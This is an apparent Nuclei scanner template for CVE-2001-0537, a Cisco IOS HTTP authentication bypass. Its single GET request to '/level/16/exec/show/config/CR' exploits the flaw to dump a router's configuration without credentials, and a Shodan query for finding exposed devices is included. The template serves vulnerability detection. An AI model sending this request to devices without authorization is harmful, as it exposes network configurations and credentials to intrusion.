id: CVE-2001-0537

info:
  name: Cisco IOS HTTP Configuration - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the affected device.
  remediation: |
    Apply the appropriate patch or upgrade to a fixed version of the Cisco IOS software.
  reference:
    - https://www.rapid7.com/db/modules/auxiliary/scanner/http/cisco_ios_auth_bypass/
    - https://nvd.nist.gov/vuln/detail/CVE-2001-0537
    - http://www.ciac.org/ciac/bulletins/l-106.shtml
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/6749
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2001-0537
    cwe-id: CWE-287
    epss-score: 0.88063
    epss-percentile: 0.98412
    cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: ios
    shodan-query: product:"Cisco IOS http config" && 200
  tags: cve,cve2001,cisco,ios,auth-bypass

http:
  - method: GET
    path:
      - '{{BaseURL}}/level/16/exec/show/config/CR'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'service config'
          - 'Switch'
          - 'default-gateway'
        condition: and

      - type: status
        status:
          - 200
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